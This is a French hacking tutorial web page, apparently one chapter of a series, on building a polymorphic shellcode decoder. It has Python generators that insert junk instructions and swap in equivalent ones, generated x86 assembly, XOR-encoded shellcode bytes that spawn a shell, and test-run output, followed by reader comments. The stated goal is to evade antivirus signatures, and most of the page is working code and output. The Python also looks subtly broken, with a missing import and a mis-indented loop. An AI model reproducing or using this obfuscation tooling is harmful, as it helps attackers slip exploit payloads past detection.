Décodeur polymorphique


<< Shellcode auto-décodant


II°) Décodeur polymorphique

Ajouts d'opérations neutres
   En premier lieu, afin d'obscurcir le code de notre décodeur, il est possible d'ajouter des instructions qui ne changent rien à la sémantique réelle du code. Pour mon exemple, j'ai retenu les instructions suivantes :
    - nop : nous l'avons déjà vu, cette instruction (no operation) est une instruction neutre, nécessaire afin d'aligner et de temporiser.
    - push reg, pop reg : là encore, puisque nous n'utilisons pas le haut de la pile, ajouter un registre sur la pile et remettre son contenu dans le registre ne modifiera en rien notre programme.
    - inc reg, dec reg : incrémenter et décrémenter un registre ne changera pas sa valeur.
    - push reg1, mov reg1 <- reg2, push reg1, pop reg2, pop reg1 : de manière un peu plus cachée, on sauvegarde reg1 sur la pile, on mets le contenu de reg2 dans reg1, on mets reg1 sur la pile, on retourne la haut de la pile dans reg2, puis on restaure la valeur sauvegardée initialement dans reg1.
    - inc ureg : il peut y avoir des registres que l'on n'utilise pas (ce qui est le cas dans notre shellcode avec edi et edx). Nous sommes donc libre d'y effectuer n'importe quelle opération, comme l'incrémentation ici.
    - mov ureg <- nombre : de la même façon, on peut mettre n'importe quel nombre ne contenant pas de bytes nuls dans un registre inutilisé.
Bien sûr, les combinaisons sont infinies. Ceci dit, il faut tout de même prendre garde à l'utilisation de la pile. Par exemple, ici nous sommes partis du principe que le haut de la pile nous était égal, ce qui n'est pas toujours le cas, car notre shellcode peut s'y trouver. En termes d'implémentation, on peut imaginer un programme simple rajoutant au hasard ce type d'instructions :
    #!/usr/bin/python

    import random

    NOP_PERCENT=50

    registers=["eax","ebx","ecx","edx","esi","edi"]
    unused_registers=[]
    asm_lines=[]

    def get_unused_registers():
      global unused_registers

      unused_registers.extend(registers)

      for line in asm_lines:
        for reg in unused_registers:
          if re.search(reg,line) != None:
            unused_registers.remove(reg)

    def get_nop():
      nb_choice=3
      if len(unused_registers) > 0:
        nb_choice = nb_choice+2

      choice=random.randint(0,nb_choice)

      if choice == 0: # NOP
        return "nop"

      elif choice == 1: # push reg, pop reg
        register = random.randint(0,5)
        return "push " + registers[register] + "\npop " + registers[register]

      elif choice == 2: # inc reg, dec reg
        register = random.randint(0,5)
        return "inc " + registers[register] + "\ndec " + registers[register]

      elif choice == 3: # push reg1, mov reg1 <- reg2, push reg1, pop reg2, pop reg1
        register = random.randint(0,5)
        while 1:
          register2 = random.randint(0,5)
          if register != register2:
            break
        return "push " + registers[register] + "\nmov " + registers[register] + "," + registers[register2] + "\npush " + registers[register] + "\npop " + registers[register2] + "\npop " + registers[register]

      elif choice == 4: # inc unused_reg
        register = random.randint(0,len(unused_registers)-1)
        return "inc " + unused_registers[register]

      elif choice == 5: # mov unused_reg, junk nb
        register = random.randint(0,len(unused_registers)-1)
        junk=(random.randint(1,255) << 24 ) + (random.randint(1,255) << 16) + (random.randint(1,255) << 8) + random.randint(1,255)
        return "mov " + unused_registers[register] + "," + str(junk)

    def transform():
      nomore=True

      for line in asm_lines:
        line=line.strip("\n")

      if line.strip(" ") == "sc:": # Ensure no changes are made at the end
        nomore=True

      if nomore == False and line.find("jne") == -1:
        nop=random.randint(0,100)
        if nop <= NOP_PERCENT: # Do we add a junk instruction ?
          print get_nop()
      print line # And finally print the line
      if line.strip(" ") == "BITS 32":
        nomore=False

    def main():
      import sys
      global asm_lines

      if len(sys.argv) != 2:
        print >> sys.stderr, "Usage: %s <path_to_asm_file>"% (sys.argv[0])
        sys.exit(1)

      f = open(sys.argv[1],"r")
      asm_lines=f.readlines()
      f.close()

      get_unused_registers() # Get (approximatively) which registers are in use and which ones aren't
      random.seed() # Seed the random generator with current epoch
      transform() # Transforme the instructions without changing the semantics

    if __name__ == "__main__":
      main()
On remarquera tout de même dans la fonction transform() que nous avons pris soin de ne pas écrire avant le "BITS 32", ni après le label "sc:" pour ne pas modifier le pointeur retournée vers le shellcode, ni avant le "jne" pour ne pas ajouter d'instructions qui modifient les valeurs des flags permettant de connaitre le résultat du cmp. Il y aura environ une séquence d'instructions inutiles pour deux lignes utiles (ce qui fait in fine beaucoup mais n'est pas grave pour les besoins de cette démonstration). Un coup d'oeil rapide au type de code généré :
    $ ./transform_shellcode.py unxor_shellcode.asm
    BITS 32
    push edi
    pop edi


    jmp short sc
    push ecx
    pop ecx

    inc edi

    retour:
      pop esi
      xor eax,eax
      xor ebx,ebx
      xor ecx,ecx
      mov bl,46
      mov al,159
      mov edi,590357073

    boucle:
      mov edx,729692240
      xor [esi+ecx],eax
      inc ecx
      inc ebx
      dec ebx

      cmp ebx,ecx
      jne boucle
      push esi
      pop esi


      jmp esi
      inc esi
      dec esi

    sc:
      call retour
      shellcode db 0xae,0x5f,0x2f,0xd9,0xae,0x44,0xae,0x56,0x52,0x1f,0x74,0x89,0xc4,0xae,0x5f,
      0x17,0xdc,0x98,0x16,0xc4,0x97,0x16,0xdc,0x93,0x2f,0x94,0x12,0xd4,0x97,0x12,0xcc,0x93,0x52,
      0x1f,0x77,0x7a,0x60,0x60,0x60,0xb0,0xfd,0xf6,0xf1,0xb0,0xec,0xf7
On peut désormais comparer le code assemblé avec l'assemblage non-obscurci :
    Bytecode original
    \xeb\x15\x5e\x31\xc0\x31\xdb\x31\xc9\xb3\x2e\xb0\x9f\x31\x04\x0e\x41\x39\xcb\x75
    \xf8\xff\xe6\xe8\xe6\xff\xff\xff
    \xae\x5f\x2f\xd9\xae\x44\xae\x56\x52\x1f\x74\x89
    \xc4\xae\x5f\x17\xdc\x98\x16\xc4\x97\x16\xdc\x93\x2f\x94\x12\xd4\x97\x12\xcc\x93
    \x52\x1f\x77\x7a\x60\x60\x60\xb0\xfd\xf6\xf1\xb0\xec\xf7

    Après transformation
    \x57\x5f\xeb\x28\x51\x59\x47\x5e\x31\xc0\x31\xdb\x31\xc9\xb3\x2e\xb0\x9f\xbf\x51
    \x22\x30\x23\xba\x50\x38\x7e\x2b\x31\x04\x0e\x41\x43\x4b\x39\xcb\x75\xf1\x56\x5e
    \xff\xe6\x46\x4e\xe8\xd6\xff\xff\xff\xae\x5f\x2f\xd9\xae\x44\xae\x56\x52\x1f\x74
    \x89\xc4\xae\x5f\x17\xdc\x98\x16\xc4\x97\x16\xdc\x93\x2f\x94\x12\xd4\x97\x12\xcc
    \x93\x52\x1f\x77\x7a\x60\x60\x60\xb0\xfd\xf6\xf1\xb0\xec\xf7
On se rend donc bien compte de la dispersion des opcodes pouvant faire office de signature et même de la modification de certains d'entre eux (opcodes soulignés, grâce à la modification des référentiels pour les jmp notamment).

Transformation des instructions
   Toujours dans l'optique de rendre plus difficile la génération de signatures, il est possible de modifier les instructions utiles de manière à ce que la sémantique demeure tout de même inchangée. C'est là toute l'essence du polymorphisme d'ailleurs. Etant donné la taille des jeux d'instructions actuels, cet univers est encore plus hautement infini et peut parfois être complexe. Nous avons décidé de remplacer trois types d'instructions que nous utilisons dans notre shellcode :
    - xor reg,reg : en effet, il y a de multiples manières de placer un registre à 0 sans pour autant ajouter de bytes nuls. Nous avons par exemple utilisé ici le Et binaire : reg = (reg & 0x01010101) & 0x02020202). En effet, 0x01010101 & 0x02020202 = 0, donc l'intersection des deux opérations AND sera nulle et le registre aussi. Une autre manière plus trivial : sub reg, reg qui soustrait au registre sa propre valeur.
    - pop reg : une instruction pop n'est autre que le placement dans un registre de la valeur courante du haut de la pile suivit d'un ajout de 4 au registre ESP (afin de faire diminuer la pile de 4 octets), soit mov reg, [esp] - add esp,0x01010105 - sub esp,0x01010101 par exemple (les deux dernières instructions sont un add esp,4 en évitant les 0). On peut également se servir d'un registre inutilisé, en faisant le pop dans cet autre registre, puis en remetant à 0 le registre original, et enfin en additionnant au registre original le registre inutilisé.
    - mov reg, value : ici, nous avons adressé les instructions qui affectent une valeur à un registre de 8 bits (al, bl, cl, dl). On peut imaginer beaucoup de manière, parmi lesquelles le fait de placer une autre valeur puis d'incrémenter/décrémenter jusqu'à ce que le registre contienne la valeur espérée, ou encore une suite d'opération plus compliquée utilisant un registre inutilisé (on place la valeur originale du registre 32-bits correspondant au registre ciblé sur la pile, on pop cette valeur dans le registre inutilisé, on mets par deux instructions AND le premier bit à 0, on y ajouter 0x01010101 + valeur - 1, on push le registre inutilisé, on le pop dans le registre ciblé, on y soustrait 0x01010101 puis on incrémente de 1, pour illustrer que nous pouvons faire des suites d'instructions aussi tordues que désiré).
Nous pouvons donc implémenter ces substitutions de manière aléatoire dans le programme précédent :
    x01010101=16843009
    x02020202=33686018

    def get_mov(val1,val2):
      if random.randint(0,1) == 1 and val1 in set(["al","bl","cl","dl"]):
        if val2 not in set(["al","bl","cl","dl"]): # val2 is an integer
          num=0
          if val2[-1] == "h" or val2[0:2] == "0x" : # hexadecimal value
            if val2[-1] == "h":
              num = int(val2[:-1],16)
            else:
              num = int(val2)
          else: # normal value
            num = int(val2)
          if num == 1:
            return "mov " + val1 + ", 2\ndec " + val1
          if num == 2:
            return "mov " + val1 + ", 1h\ninc " + val1
          else:
            if len(unused_registers) == 0:
              return "mov " + val1 + ", " + str(num - 2) + "\ninc e" + val1[0] + "x\ninc e" + val1[0] + "x"
            else:
              reg=unused_registers[random.randint(0,len(unused_registers)-1)]
              return "push e" + val1[0] + "x\npop " + reg + "\nand " + reg + ", 0xffffff01\nand " + reg + ", 0xffffff02\nadd " + reg + ", " + str(x01010101 + num - 2) + "\ninc " + reg + "\npush " + reg + "\npop e" + val1[0] + "x\nsub e" + val1[0] + "x, " + str(x01010101) + "\ninc e" + val1[0] + "x"

      return "mov " + val1 + ", " + val2

    def get_xor(val1,val2):
      if random.randint(0,1) == 1:
        if val1 == val2:
          if random.randint(0,1) == 1:
            return "and " + val1 + ", " + str(x01010101) + "\nand " + val2 + ", " + str(x02020202)
          else:
            return "sub " + val1 + ", " + val1

      return "xor " + val1 + ", " + val2

    def get_pop(reg):
      if random.randint(0,1) == 1:
        if len(unused_registers) == 0:
          return "mov " + reg + ", [esp]\nadd esp,0x01010105\nsub esp, " + str(x01010101)
        else:
          ureg=unused_registers[random.randint(0,len(unused_registers)-1)]
          return "pop " + ureg + "\nxor " + reg + ", " + reg + "\nadd " + reg + ", " + ureg

      return "pop " + reg
Avec le remplacement de ces instructions, nous avons donc un shellcode complètement polymorphique, par l'encryption de son essence et par le métamorphisme de son décodeur. Afin de tester les bytecodes ainsi générés, nous avons automatisé la chaîne de production et de test dans un petit script shell :
    $ ./polymorphic_shellcode.sh shellcode
    New shellcode:
    \x47\xeb\x45\xbf\xad\x7e\x09\x59\x90\x5e\x31\xc0\x29\xdb\x41\x49\x31\xc9\x53\x5b
    \xb3\x2e\x50\x5f\x81\xe7\x01\xff\xff\xff\x81\xe7\x02\xff\xff\xff\x81\xc7\xa6\x01
    \x01\x01\x47\x57\x58\x2d\x01\x01\x01\x01\x40\xba\x1a\xd4\xc5\x08\x47\x31\x04\x0e
    \x42\x41\x39\xcb\x75\xf7\x43\x4b\xff\xe6\x56\x5e\xe8\xbb\xff\xff\xff\x96\x67\x17
    \xe1\x96\x7c\x96\x6e\x6a\x27\x4c\xb1\xfc\x96\x67\x2f\xe4\xa0\x2e\xfc\xaf\x2e\xe4
    \xab\x17\xac\x2a\xec\xaf\x2a\xf4\xab\x6a\x27\x4f\x42\x58\x58\x58\x88\xc5\xce\xc9
    \x88\xd4\xcf
    Launching normal shellcode
    Length: 46 bytes
    sh-3.2$ exit
    exit
    Launching polymorphic shellcode
    Length: 123 bytes
    sh-3.2$ exit
    exit

    $ ./polymorphic_shellcode.sh shellcode
    New shellcode:
    \x52\x89\xda\x52\x5b\x5a\xba\x4b\x65\xed\xe7\xeb\x49\x53\x89\xd3\x53\x5a\x5b\x5e
    \x29\xc0\x29\xdb\x57\x89\xdf\x57\x5b\x5f\x81\xe1\x01\x01\x01\x01\x81\xe1\x02\x02
    \x02\x02\xb3\x2e\x47\x50\x5f\x81\xe7\x01\xff\xff\xff\x81\xe7\x02\xff\xff\xff\x81
    \xc7\x5d\x01\x01\x01\x47\x57\x58\x2d\x01\x01\x01\x01\x40\x31\x04\x0e\x41\x39\xcb
    \x75\xf8\x41\x49\xff\xe6\xe8\xb8\xff\xff\xff\x6f\x9e\xee\x18\x6f\x85\x6f\x97\x93
    \xde\xb5\x48\x05\x6f\x9e\xd6\x1d\x59\xd7\x05\x56\xd7\x1d\x52\xee\x55\xd3\x15\x56
    \xd3\x0d\x52\x93\xde\xb6\xbb\xa1\xa1\xa1\x71\x3c\x37\x30\x71\x2d\x36
    Launching normal shellcode
    Length: 46 bytes
    sh-3.2$ exit
    exit
    Launching polymorphic shellcode
    Length: 137 bytes
    sh-3.2$ exit
    exit

    $ cat .polymorphic_shellcode.asm
    BITS 32
    push edx
    mov edx,ebx
    push edx
    pop ebx
    pop edx

    mov edx,3891094859
    jmp short sc

    push ebx
    mov ebx,edx
    push ebx
    pop edx
    pop ebx
    retour:
      pop esi
      sub eax, eax
      sub ebx, ebx
      push edi
      mov edi,ebx
      push edi
      pop ebx
      pop edi
      and ecx, 16843009
      and ecx, 33686018
      mov bl, 46
      inc edi
      push eax
      pop edi
      and edi, 0xffffff01
      and edi, 0xffffff02
      add edi, 16843101
      inc edi
      push edi
      pop eax
      sub eax, 16843009
      inc eax

    boucle:
      xor [esi+ecx],eax
      inc ecx
      cmp ebx,ecx
      jne boucle
      inc ecx
      dec ecx

      jmp esi

    sc:
      call retour
      shellcode db
      0x6f,0x9e,0xee,0x18,0x6f,0x85,0x6f,0x97,0x93,0xde,0xb5,0x48,0x05,0x6f,0x9e,
      0xd6,0x1d,0x59,0xd7,0x05,0x56,0xd7,0x1d,0x52,0xee,0x55,0xd3,0x15,0x56,0xd3,0x0d,0x52,0x93,0xde,
      0xb6,0xbb,0xa1,0xa1,0xa1,0x71,0x3c,0x37,0x30,0x71,0x2d,0x36
Nous obtenons donc un shellcode de taille variable (de manière générale entre 100 et 160 bytes), qui est très différent d'une génération sur l'autre, comme le montrent les deux essais effectuées, et quasiment impossible à analyser, même désassemblé. Le code original est en rouge sur cet exemple est reste très éparpillé (d'autant que ce qui demeure est soit le code encrypté soit des portions que nous n'avons pas traitré dans notre exemple). Bien sûr, des générations plus fines permettent de contrôler la taille du shellcode généré et d'effectuer des obfuscations plus complètes (le mieux dans notre cas serait tout de même de modifier la boucle principale et notamment le xor, d'autant que a xor b peut se réécrire sous de multiples formes, comme par exemple (a&~b) | (~a&b)).
Maintenant que nous avons compris tous ces mécanismes, il n'y a pas de honte à utiliser des outils qui permettent de générer automatique ce type de shellcode de bien meilleure manière, pour de multiples sémantiques et de multiples plateformes, notamment Metasploit.


<< Shellcode auto-décodant



5 Commentaires
Afficher tous


yohann 24/05/13 18:11
les commentaires dans le code !!

Anonyme 19/12/11 18:19
Excellent même si on "plonge" d'un coup profondément dans des choses assez complexes.

Will 07/12/11 20:18
Interressant mais chaud à comprendre !

David 21/09/11 20:36
Excellent tuto!




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.